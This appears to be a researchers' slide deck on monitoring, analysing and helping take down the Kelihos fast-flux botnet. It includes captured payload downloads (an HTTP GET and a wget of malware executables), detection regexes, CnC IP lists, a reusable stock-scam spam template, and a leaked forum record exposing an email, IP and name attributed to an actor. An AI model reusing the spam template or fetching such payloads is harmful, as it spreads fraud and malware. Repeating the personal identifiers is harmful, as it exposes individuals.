The power of the team work –
Management of Dissecting
Kelihos Fast Flux Botnet
“Unleashed”

@unixfreaxjp  @DhiaLite
Outline

• Part 1
  Monitoring Kelihos Fast Flux Botnet using Recursive & Passive DNS

• Part 2
  Analysis of Kelihos Weaknesses

• Part 3
  Disclosure of the Actor’s ID

• Part 4
  Stopping the Payload Distribution
Monitoring Kelihos Fast Flux Botnet using Recursive & Passive DNS
• Real time Monitoring System
• Botnet geo distribution
• Botnet daily cycle
• OS distribution
• Daily detected domains
• Domains and IPs lifetime
Fast flux Monitoring System

While true

1. Select a seed of domains with a confirmed profile
2. Continuously milk domains for IPs
3. Continuously “inverse lookup” IPs in DNSDB, for new domains that start resolving to these IPs
4. Check detected domains for known profile (e.g. TTL, registration, existence of payload, etc)
5. Add new domains to the initial seed
Build seed domains list

- Resolve domains to IPs, TTL
- Resolve domains to NSs, TTL
- Build graph of domain, IP, NS
- Extract clusters of “same TTL domains”
- For each TTL cluster, extract largest connected component from domain, IP, NS graph
Kelihos FF domains

- Various gTLDs, ccTLDs, 1 single IP, TTL=0, hosted on Kelihos botnet IP pool (growing), infected individual machines, recent registration, delivering malware executables with known names
- Recorded case(s) of domain resolving to several IPs with TTL=600, cocala.asia, or TTL=300
Post-discovery checks

Exclude:

• Sinkholed domains

• Domains not matching sought after profile, e.g. higher TTL, not using botnet IP pool, shared hosting, old registration, not hosting malware payloads
Kelihos FF domains analysis Results
Kelihos

- Info-stealer
- Spam botnet
- P2P structure with fallback FF CnC domains
- Checks victim’s IP against known CBLs, if not listed, victim’s machine can be used as a proxy CnC, or spam bot
Kelihos

• Sample of 913 domains from the past 6 months
TLD distribution

- Most abused registrars: bizcn, internet.bs, PDR LTD., 1API Gmbh, REGGI-REG-RIPN through resellers
Botnet Geo distribution

- Sample of 40418 alive IPs -> 99 countries
- Up until early Dec 2013
- Link to interactive map
Botnet Geo distribution
Botnet Geo distribution

- UA: 27%
- TW: 12%
- JP: 10%
- RU: 10%
- IN: 9%
- US: 7%
- RO: 4%
- BY: 2%
- HU: 2%
- IT: 1%
- KZ: 1%
- EU: 1%
- AP: 1%
- RS: 1%
- BG: 1%
- AR: 1%
- CZ: 1%
- HK: 1%

All other regions: 1%
Botnet Daily Cycle

- Follows the daily cycle of Ukraine, Russia Time zone
OS distribution

• 85% hosts running Windows XP or Vista
• 1/3 of them running Win XP PocketPC/CE
  “nmap fingerprint”
Daily detected Kelihos domains

- ns6.enjofyr.net
- agoe36yv.judnopem.nl
- akomn.insomtab.nl
- ayna.judnopem.nl
- hsej0rr7.insomtab.nl
- i0liq7i3.gewfywas.nl
- gyujsyi.ylahnel.net
- g12r5ea5.awbijis.net
- dy6gkkoi.ivynvov.net
- esp0t.ivynvov.net
Domains and IPs lifetime

- Statistics on lifetime of domains and duration of usage of IPs in the botnet
- Efficiency of takedown, cleanup
- Efficiency of criminals’ operation and botnet growth
- Case of “zombie” IPs, that serve in the botnet for a long time (months), never cleaned, residential, and also universities
Domains’ lifetime counts

Counts = f(domain lifetime in days)

Sample size: 712 domains
IPs’ lifetime counts

Counts = f(IP lifetime in days)

Sample size: 27,200+ IPs
Botnet’s IPs lifetime
IPs’ lifetime (cont’d)

• 2624 IPs lasted 1 day
• 19416 lasted less than a day
Botnet’s IPs lifetime

- 110,000+ unique IPs collected over 5 months
- 11662 IPs have hosted domains
Analysis of the Botnet Weaknesses
Analysis for the weakness

- Infection Peer Scheme
Analysis for the weakness

- Infection Peer Scheme
Analysis for the weakness

- Infection Peer Scheme
Analysis for the weakness

• Infection Peer Scheme

<table>
<thead>
<tr>
<th>File Name</th>
<th>Size</th>
<th>Date/Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>wesq.html</td>
<td>1 KB</td>
<td>2013/04/20 13:46</td>
</tr>
<tr>
<td>news.html</td>
<td>1 KB</td>
<td>2013/04/20 13:35</td>
</tr>
<tr>
<td>492.jar</td>
<td>13 KB</td>
<td>2013/04/20 13:51</td>
</tr>
<tr>
<td>dp4.jar</td>
<td>13 KB</td>
<td>2013/04/20 13:51</td>
</tr>
<tr>
<td>clicka.exe</td>
<td>32 KB</td>
<td>2013/04/20 18:50</td>
</tr>
<tr>
<td>xywewey.exe</td>
<td>32 KB</td>
<td>2013/04/20 15:01</td>
</tr>
<tr>
<td>aeraetk.exe</td>
<td>47 KB</td>
<td>2013/04/20 15:01</td>
</tr>
<tr>
<td>psaopt.exe</td>
<td>48 KB</td>
<td>2013/04/20 18:50</td>
</tr>
<tr>
<td>game.exe</td>
<td>797 KB</td>
<td>2013/04/20 18:52</td>
</tr>
<tr>
<td>temp22.exe</td>
<td>797 KB</td>
<td>2013/04/20 18:50</td>
</tr>
<tr>
<td>temp43.exe</td>
<td>797 KB</td>
<td>2013/04/20 18:50</td>
</tr>
<tr>
<td>temp72.exe</td>
<td>797 KB</td>
<td>2013/04/20 18:50</td>
</tr>
<tr>
<td>temp74.exe</td>
<td>797 KB</td>
<td>2013/04/20 18:50</td>
</tr>
<tr>
<td>newbos3.exe</td>
<td>797 KB</td>
<td>2013/04/20 15:57</td>
</tr>
</tbody>
</table>
Analysis for the weakness

• Infection Peer Scheme
Analysis for the weakness

• Infection Peer Scheme
Analysis for the weakness

- Infection Peer Scheme

<table>
<thead>
<tr>
<th></th>
<th>Local Address</th>
<th>Remote Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>TCP</td>
<td>rik-1379cf37c25:1243</td>
<td>ras.beamtele.net:http</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>TCP</td>
<td>192.168.7.84:1243</td>
<td>183.82.191.52:80</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>
Analysis for the weakness

- Infection Peer Scheme

Here's the download:
Analysis for the weakness

- Infection Peer Scheme

```
GET /newbos3.exe HTTP/1.0
Host: kezamzoq.ru
```

HTTP/1.1 200
Server: Apache
Content-Length: 815616
Content-Type:
Last-Modified: ... 20 ... 2013 09:50:15 GMT
Accept-Ranges: bytes
Server: nginx/1.2.6
Date: Sat, 20 Apr 2013 09:50:33 GMT
Last-Modified: Sat, 20 Apr 2013 09:27:14 GMT
Accept-Ranges: bytes

MZ........................................@..........................
under Win32

$7........................PE..L...&.Q.....................A...
U...
...........................................\rdata....
```
Analysis for the weakness

• Infection Peer Scheme
  (Callback for success infection)
Analysis for the weakness

- Infection Peer Scheme (~255 requests to Kelihos peers)
Analysis for the weakness

- Encryption Cracking Method (Infected PC Info Sent to the CnC)
Analysis for the weakness

- Encryption (Config Downloaded from CnC)
Analysis for the weakness

• Encryption Cracking Method

Using the encryption know-how we can figure the peer information and the JobServer (aka CnC)
The picture belongs to Mr. Kyle Yang, he presented in Blackhat Europe March, 2012
Analysis for the weakness

• Encryption Cracking Method

(The data is courtesy of Kyle Yang of Fortinet at Blackhat presentation)
Analysis for the weakness

- Domains & Payloads

```plaintext
([a-z]{6}¥.[a-z]{4}|[a-z]{7}¥.[a-z]{3}|[a-z]{8}¥.[a-z]{2})
```

10

10

10

+ One Dot

11 bytes
Analysis for the weakness

• Domains & Payloads

VEHIQYR.ORG
EJEXPOC.COM
ABGYCWU.NET
CESGUMU.ORG
QYQANYB.BIZ
GOTOREF.BIZ
TOREMOA.COM
Analysis for the weakness

- Domains & Payloads

```
angrim2.exe    inkr001.exe    cornel2.exe    traff01.exe
bergem1.exe    keybex4.exe    dexter1.exe    userid2.exe
bljat01.exe    nothin3.exe    goodtr2.exe    same7b1.exe
calc.exe       rasta02.exe
```
Malware samples

- Domains & Payloads (payloads statistic)

Regular payloads

High rotated payloads
Malware samples

Regular Payloads:
1. Original Kelihos binaries
2. Regular Malware affiliates payloads
3. Better AV detection rates
4. Stay longer in Kelihos Infected Peers
5. Easy Trace

High Rotated Payloads:
1. Exchange Malware Affiliates binaries
2. Very low AV detection rates
3. Exists in short period time
4. Linked to the Exploit Kit, Downloader & Spambot of other threat.
Malware samples

- Payload repacked several times a day
- VT detection ratio got as low as 1/45
  - cornel2.exe (1/45 on Sep 1) [http://bit.ly/18mm0cV](http://bit.ly/18mm0cV)
Analysis for the weakness

• Domains & Payloads

<table>
<thead>
<tr>
<th>Active distribution registrars:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>BizCN</td>
<td>321</td>
</tr>
<tr>
<td>INTERNET.BS</td>
<td>190</td>
</tr>
<tr>
<td>PDR</td>
<td>91</td>
</tr>
<tr>
<td>1API</td>
<td>68</td>
</tr>
<tr>
<td>REGGI</td>
<td>27</td>
</tr>
<tr>
<td>REGTIME</td>
<td>27</td>
</tr>
<tr>
<td>total</td>
<td>724</td>
</tr>
</tbody>
</table>

PS: total domains now is 913 (keep on going)
The above data is sum up to mid Oct 2013
Analysis for the weakness

• Domains & Payloads (Monitoring Base)

\[ ¥/\{0-9\}{1,3}¥/[0-9]\{1,3\}¥/[0-9]\{1,3\}¥/[0-9]\{1,3\}¥/([a-z]\{5,6\}[0-9]\{1,2\}|calc)¥.exe \]

Search: \[ ¥/[0-9]\{1,3\}¥/[0-9]\{1,3\}¥/[0-9]\{1,3\}¥/[0-9]\{1,3\}¥/([a-z]\{5,6\}[0-9]\{1,2\}|calc)¥.exe \]

96 results returned

<table>
<thead>
<tr>
<th>Date (CET)</th>
<th>Alerts / IDS</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>2013-09-26 02:23:24</td>
<td>0 / 0</td>
<td><a href="http://209.102.242.50(calc.exe)">http://209.102.242.50(calc.exe)</a></td>
</tr>
<tr>
<td>2013-09-26 02:22:40</td>
<td>0 / 0</td>
<td><a href="http://68.112.119.181(calc.exe)">http://68.112.119.181(calc.exe)</a></td>
</tr>
<tr>
<td>2013-09-26 01:10:11</td>
<td>0 / 3</td>
<td><a href="http://178.151.5.191(userid2.exe)">http://178.151.5.191(userid2.exe)</a></td>
</tr>
<tr>
<td>2013-09-26 01:09:17</td>
<td>0 / 3</td>
<td><a href="http://178.151.5.191(traff01.exe)">http://178.151.5.191(traff01.exe)</a></td>
</tr>
<tr>
<td>2013-09-26 01:07:51</td>
<td>0 / 3</td>
<td><a href="http://178.151.5.191(rasta02.exe)">http://178.151.5.191(rasta02.exe)</a></td>
</tr>
<tr>
<td>2013-09-26 01:07:22</td>
<td>0 / 3</td>
<td><a href="http://178.151.5.191(keybex4.exe)">http://178.151.5.191(keybex4.exe)</a></td>
</tr>
<tr>
<td>2013-09-26 01:05:45</td>
<td>0 / 3</td>
<td><a href="http://178.151.5.191(calc.exe)">http://178.151.5.191(calc.exe)</a></td>
</tr>
</tbody>
</table>

Special thank’s for URLQuery
Analysis for the weakness

• Domains & Payloads (Detection)

Kelihos Payload
CnC Domains ALIVE
thx: OpenDNS

Compiled by:
#MalwareMustDie
@unixfreaxjp
Analysis for the weakness

• Domains & Payloads (Alerts)

```plaintext
>>> OLTUZMAV.ME Nameservers: NS1.OLTUZMAV.ME
  Nameservers: NS2.OLTUZMAV.ME
  Nameservers: NS3.OLTUZMAV.ME
  Nameservers: NS4.OLTUZMAV.ME
  Nameservers: NS5.OLTUZMAV.ME
  Nameservers: NS6.OLTUZMAV.ME | Sponsoring Registrar: Bizcn.com, Inc. R150-ME (471)
  Last Updated by Registrar: Bizcn.com, Inc. R150-ME (471) | Domain Create Date: 22-Sep-2013 22:16:28 UTC
  Domain Last Updated Date: 22-Sep-2013 22:22:36 UTC
  Domain Expiration Date: 22-Sep-2014 22:16:28 UTC
  Last Transferred Date: |

>>> OLTUZMAV.ME
  46.147.129.50
  61.26.167.12
  61.58.78.96
  176.104.238.22
  94.153.119.106
  37.115.17.179

--2013-09-26 21:18:49--  http://oltuzmav.me/calc_exe
Resolving oltuzmav.me (oltuzmav.me)... 195.114.155.160
Connecting to oltuzmav.me (oltuzmav.me)|195.114.155.160|80... connected. HTTP request sent, awaiting response... 200
Length: 819200 (800K) []
Saving to: 'calc.exe'

28% [================================>]
```
Full Disclosure of the Actors & ID
Disclosure of Operation (Result)

Domain Reseller Email ID (total is gmail addresses)

CENCORED FOR SECURITY PURPOSE
Disclosure of Operation (Result)

Spam Templates Order Evidence

CENCORED FOR SECURITY PURPOSE
Disclosure of Operation (Result)

Do you want to make money out of armed conflicts? It`s right time to get this done! As soon as the US takes military action against Syria, oil prices will rise as well as Monarchy Resources (M O_NK) share price!!! Go make profits on Monday, September 9th, purchase M O_NK shares!!!
Disclosure of Operation (Result)

{The Apple Company|Apple|The Apple} {has presented|has demonstrated|has shown|has introduced|has recommended|has offered} {its new|its latter-day|the new-developed|its new-made|its fresh|its most recent} iPhone 5S and iPhone 5C, which {have not impressed|have not affected|have little effect on|have not moved|have not struck} the {investors|providers of financing|providers of capital|fund clients|business sponsors|capital providers|financiers|obligees|backers}.

{But|However|Fortunately|Nevertheless|All the same|Still}, we {came to know about|found out about|discovered|got to learn about|got to hear about|got the wind of} {a confidential|a secret|an inside|an undercover|a non-public|a private} {novelty|new product|innovation|recent development|specialty|newly-designed product|newcomer} (gadget), which {is developed|is created|is designed|is produced|is worked out|is elaborated} in Cupertino (the {Main Office|Head-Office|Headquarter|Principal Place of Business|Principal Business Office|General Headquarters|Central Office|Principal Office}) of {Apple|the Apple Company|the Company|the Apple}). {Everybody|Everyone|All the people} will {need|require|sought for|have interest in} this {innovation|new product|novelty|newcomer|undercover|recent development|newly-designed product} {{in a year|during a year|within a year|through a year|during the course of a year|throughout a year}, it {will be used|will be put in use|will be utilized|will be put on|will be applied} by {all the people|everyone|everybody}).

{Now|Presently|Just now|Today|Right now}, {it’s high time|the time is ripe|it’s about time|is the perfect timing} to {buy|purchase|acquire|get|obtain|take possession of|get hold of} the Apple’s {shares|securities|equity|stock|shareholding|capital stock|actions|shares of stock|shares of corporate stock|corporate stock|stocks}. {They|The shares|These stocks|The Company’s capital stock|The shareholding|These securities|The Company’s equity} will {grow|go up|increase} in {price|value} {soon|quick|quite soon|fast|very soon}!
Apple has presented its new models – iPhone 5S and iPhone 5C, which actually have not moved the providers of financing. But, we got to hear about the confidential novelty, which is created in Cupertino (the Main Office of the Apple Company). This specialty will be of interest for everyone. Through just a year, everybody will utilize it. Namely now the time is ripe to acquire the Apple’s securities. Their value will be quick increased!!!
Disclosure of Operation (Result)

Kelihos Promotion campaign Forum’s ID / SQL Dump ;-))

I had to put my own hand to be sure about the database that I sent.
We get the whole sql database of the related carder forum, is attached in the 7.zip.

The blob extracted is as per previous sent:
{(46130, 'drollime', 3, 'silichandriy@gmail.com', 1357492409, '213.87.130.63', 0, NULL, 1, '3', NULL, NULL, 0, 1, 1357492651, '0', 1, 1, 0, 0, 0, 0, 0, 0, NULL, 1357492409, 1357493787, 0, 0, '0', 'offline', '0', '0&1', 'a:0: {}, '', '', '46e441fc9eb83c378171ca0dbbf2a22d', 1358097209, NULL, 0, 1, 'drollime', 'drollime', 0, NULL, 0, 'drollime', 'drollime', NULL, 0, 16, 'ed94a22950f7d8f6900a909463ab2c1', '.rJrO', 0, 'flash', 0, 0, '', 0, '0,0', NULL, '', '', '', 0, 0, '', NULL, NULL, 0, NULL, NULL, 0, 0, 0, 0)

The string of 1357492409 is UNIX time Which means: Sun, 06 Jan 2013 17:13:29 GMT

-------POINT------
This is the positive data. He was using the IP address 213.87.130.63 on: Sun, 06 Jan 2013 17:13:29 GMT. With trailing the connection information of that IP on that date we will know how he connect internet from which account in 6 months ago.

-------END OF POINT------
Disclosure of Operation (Result)
CNC Servers

GNU nano 2.2.6 File: blacklist.txt

// DISCLOSURE OF KELIHOS BOTNET
// CNC SERVER IN DEUTCHLAND / GERMANY:

Kelihos CnC IP ADDRESSES:

1. DE-7 5.61.37.239 (alive!)
2. DE-7 5.61.38.34 (alive!)
3. DE-7 5.61.38.33 (alive!)
4. DE-7 5.61.38.32 (alive!)
5. DE-7 5.61.38.31 (alive!)
6. DE-7 5.61.38.30 (alive!)

Network: LeaseWeb
Hoster: Inferno Solution
Customer name: Пётр Сергеенко
(Piotr Shareenka) <-- Moronz Fake Name

// PLEASE SHUTDOWN, BLOCK, AND -
// HELP TO NUKE THESE IP DOWN!!

#MALWAREMUSTDIE!! OP #KELIHOS TEAM
Disclosure of Operation (Result)

We PWNED their CNC ;-)

CENCORED
FOR SECURITY PURPOSE
Disclosure of Operation (Result)

Other Malware Collaborated; COOKIEBOMB

The contact info is:
Jabber(XMPP): jabber @ honese.com
ICQ: 104967

nslookup honese.com
Server: 202.238.95.24
Address: 202.238.95.24#53

Non-authoritative answer:
Name: honese.com
Address: 5.61.38.34  <= is in this list

Special thank’s to @kafeine for the post!
Disclosure of Operation (Result)
Another Malware Collaborated;

CENCORED
FOR SECURITY PURPOSE
Disclosure of Operation (Result)

ID Of The Bad Actor

CENCORED
FOR SECURITY PURPOSE
What is the efficient way to Neutralize Kelihos?
Let’s Stop Payloads Distribution

- STOPPING THE INFECTED PEER? NO
- STOPPING THE PAYLOAD? YES! 😊
Let’s Stop Payloads Distribution

All of the peers Kelihos proxy are giving link of Payloads Before....
Let’s Stop Payloads Distribution

First CnC takedown effect is, all payload returned w/ 502

After....
Let’s Stop Payloads Distribution

Second impact, after ALL CnC went down is, all Kelihos Payload can not be reached at all (No Data Received) Herewith we PoC’ed that the CnC listed are Kelihos
Let’s Stop Payloads Distribution

Then..a lot of peer Kelihos proxies can not be reached.
The bad actor who own the CNC server = Kelihos botherder
Summary

- Dedicated security researchers/engineers
- Detection
  - RT monitoring system
  - Daily zone files/regex
- Malware payload analysis
- Report domains to appropriate bodies, e.g. registrars, ICANN, for suspension, sinkholing
- Report infected IPs to ISPs, regional CERTs & LE for cleanup
Hall of Fame

OP Kelihos #MalwareMustDie, thanks for great work from:

Tracker:
@kellewic @VriesHd @Secluded_Memory @DhiaLite
@Set_Abominae

Intel: CENCORED FOR SECURITY PURPOSE

OP Stop Keli-Payloads (Netherlands/Germany, UK)
Markus Fritz, @wopot, Christiaan Beek, Dave Marcus,
@sempersecurus, @ConradLongmore, @malm0u53
& special thank’s to GroupIB & Interpol folks
Question?